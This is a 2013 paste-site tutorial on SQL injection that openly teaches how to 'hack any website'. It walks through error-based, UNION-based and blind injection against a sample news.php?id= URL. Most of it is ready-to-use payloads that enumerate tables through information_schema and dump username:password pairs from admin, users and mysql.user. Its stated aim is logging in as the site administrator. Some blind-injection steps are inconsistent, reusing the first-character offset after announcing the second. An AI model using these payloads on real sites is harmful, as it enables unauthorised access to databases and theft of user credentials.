SQL Injection tutorial-How to Hack any Website and get the database. (WARNING: FOR EDUCATIONAL PURPOSE ONLY)


SUBMITTED BY: Guest

DATE: Aug. 6, 2013, 5:35 p.m.

FORMAT: Text only

SIZE: 14.2 kB

HITS: 1050

  1. First of all: What is SQL injection?
  2. It's one of the most common vulnerability in web applications today. It allows attacker to execute database query in url and gain access to some confidential information etc...(in shortly).
  3. 1.SQL Injection (classic or error based or whatever you call it) :D
  4. 2.Blind SQL Injection (the harder part)
  5. So let's start with some action :D
  6. 1). Check for vulnerability
  7. Let's say that we have some site like this
  8. Code: [Select]
  9. http://www.site.com/news.php?id=5
  10. Now to test if is vulnerable we add
  11. Code: [Select]
  12. '
  13. to the end of url and that would be
  14. Code: [Select]
  15. http://www.site.com/news.php?id=5'
  16. so if we get some error like
  17. Code: [Select]
  18. "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
  19. or something similar, that means is vulnarable to sql injection :)
  20. 2). Find the number of columns
  21. To find number of columns we use statement ORDER BY (tells database how to order the result). So how to use it? Well just incrementing the number until we get an error.
  22. Code: [Select]
  23. http://www.site.com/news.php?id=5 order by 1/* <-- no error
  24. http://www.site.com/news.php?id=5 order by 2/* <-- no error
  25. http://www.site.com/news.php?id=5 order by 3/* <-- no error
  26. http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
  27. that means that the it has 3 columns, cause we got an error on 4.
  28. 3). Check for UNION function
  29. With union we can select more data in one sql statement.
  30. so we have
  31. Code: [Select]
  32. http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
  33. If we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
  34. 4). Check for MySQL version
  35. Code: [Select]
  36. http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
  37. it's a comment and it's important for our query to work properly.
  38. let say that we have number 2 on the screen, now to check for version
  39. we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
  40. it should look like this
  41. Code: [Select]
  42. http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
  43. If you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
  44. I didn't see any paper covering this problem, so I must write it :)
  45. what we need is convert() function i.e.
  46. Code: [Select]
  47. http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
  48. or with hex() and unhex() i.e.
  49. Code: [Select]
  50. http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
  51. and you will get MySQL version :D
  52. 5). Getting table and column name
  53. well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
  54. we must guess table and column name in most cases.
  55. common table names are: user/s, admin/s, member/s ...
  56. common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
  57. i.e would be
  58. Code: [Select]
  59. http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
  60. we know that table admin exists...
  61. now to check column names.
  62. Code: [Select]
  63. http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
  64. we get username displayed on screen, example would be admin, or superadmin etc...
  65. now to check if column password exists
  66. Code: [Select]
  67. http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
  68. we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
  69. i.e md5 hash, mysql hash, sha1...
  70. now we must complete query to look nice :)
  71. for that we can use concat() function (it joins strings)
  72. i.e
  73. Code: [Select]
  74. http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
  75. Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
  76. (there is another way for that, char(58), ascii value for : )
  77. Code: [Select]
  78. http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
  79. now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
  80. when you have this, you can login like admin or some superuser :D
  81. if can't guess the right table name, you can always try mysql.user (default)
  82. it has user i password columns, so example would be
  83. Code: [Select]
  84. http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
  85. 6). MySQL 5
  86. Like i said before i'm gonna explain how to get table and column names
  87. in MySQL > 5.
  88. For this we need information_schema. It holds all tables and columns in database.
  89. to get tables we use table_name and information_schema.tables.
  90. i.e
  91. Code: [Select]
  92. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
  93. here we replace the our number 2 with table_name to get the first table from information_schema.tables
  94. displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
  95. i.e
  96. Code: [Select]
  97. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
  98. note that i put 0,1 (get 1 result starting from the 0th)
  99. now to view the second table, we change limit 0,1 to limit 1,1
  100. i.e
  101. Code: [Select]
  102. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
  103. the second table is displayed.
  104. for third table we put limit 2,1
  105. i.e
  106. Code: [Select]
  107. http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
  108. keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
  109. To get the column names the method is the same.
  110. here we use column_name and information_schema.columns
  111. the method is same as above so example would be
  112. Code: [Select]
  113. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
  114. the first column is diplayed.
  115. the second one (we change limit 0,1 to limit 1,1)
  116. ie.
  117. Code: [Select]
  118. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
  119. the second column is displayed, so keep incrementing until you get something like
  120. username,user,login, password, pass, passwd etc... :D
  121. if you wanna display column names for specific table use this query. (where clause)
  122. let's say that we found table users.
  123. i.e
  124. Code: [Select]
  125. http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
  126. now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
  127. Note that this won't work if the magic quotes is ON.
  128. let's say that we found colums user, pass and email.
  129. now to complete query to put them all together :D
  130. for that we use concat() , i decribe it earlier.
  131. i.e
  132. Code: [Select]
  133. http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
  134. what we get here is user:pass:email from table users.
  135. example: admin:hash:whatever@blabla.com
  136. That's all in this part, now we can proceed on harder part :)
  137. 2. Blind SQL Injection
  138. Blind injection is a little more complicated the classic injection but it can be done :D
  139. I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D
  140. Let's start with advanced stuff.
  141. I will be using our example
  142. Code: [Select]
  143. http://www.site.com/news.php?id=5
  144. when we execute this, we see some page and articles on that page, pictures etc...
  145. then when we want to test it for blind sql injection attack
  146. Code: [Select]
  147. http://www.site.com/news.php?id=5 and 1=1 <--- this is always true
  148. and the page loads normally, that's ok.
  149. now the real test
  150. Code: [Select]
  151. http://www.site.com/news.php?id=5 and 1=2 <--- this is false
  152. so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.
  153. 1) Get the MySQL version
  154. to get the version in blind attack we use substring
  155. i.e
  156. Code: [Select]
  157. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4
  158. this should return TRUE if the version of MySQL is 4.
  159. replace 4 with 5, and if query return TRUE then the version is 5.
  160. i.e
  161. Code: [Select]
  162. http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5
  163. 2) Test if subselect works
  164. when select don't work then we use subselect
  165. i.e
  166. Code: [Select]
  167. http://www.site.com/news.php?id=5 and (select 1)=1
  168. if page loads normally then subselects work.
  169. then we gonna see if we have access to mysql.user
  170. i.e
  171. Code: [Select]
  172. http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1
  173. if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.
  174. 3). Check table and column names
  175. This is part when guessing is the best friend :)
  176. i.e.
  177. Code: [Select]
  178. http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
  179. then if the page loads normally without content missing, the table users exits.
  180. if you get FALSE (some article missing), just change table name until you guess the right one :)
  181. let's say that we have found that table name is users, now what we need is column name.
  182. the same as table name, we start guessing. Like i said before try the common names for columns.
  183. i.e
  184. Code: [Select]
  185. http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
  186. if the page loads normally we know that column name is password (if we get false then try common names or just guess)
  187. here we merge 1 with the column password, then substring returns the first character (,1,1)
  188. 4). Pull data from database
  189. we found table users i columns username password so we gonna pull characters from that.
  190. Code: [Select]
  191. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80
  192. ok this here pulls the first character from first user in table users.
  193. substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
  194. and then compare it with simbol greater then > .
  195. so if the ascii char greater then 80, the page loads normally. (TRUE)
  196. we keep trying until we get false.
  197. Code: [Select]
  198. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95
  199. we get TRUE, keep incrementing
  200. Code: [Select]
  201. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98
  202. TRUE again, higher
  203. Code: [Select]
  204. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
  205. FALSE!!!
  206. so the first character in username is char(99). Using the ascii converter we know that char(99) is letter 'c'.
  207. then let's check the second character.
  208. Code: [Select]
  209. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99
  210. Note that i'm changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
  211. Code: [Select]
  212. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99
  213. TRUE, the page loads normally, higher.
  214. Code: [Select]
  215. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107
  216. FALSE, lower number.
  217. Code: [Select]
  218. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104
  219. TRUE, higher.
  220. Code: [Select]
  221. http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105
  222. FALSE!!!
  223. we know that the second character is char(105) and that is 'i'. We have 'ci' so far
  224. so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).
  225. There are some tools for Blind SQL Injection, i think sqlmap is the best, but i'm doing everything manually, cause that makes you better SQL INJECTOR :D
  226. Hope you learned something from this paper.
  227. Have FUN! (:

comments powered by Disqus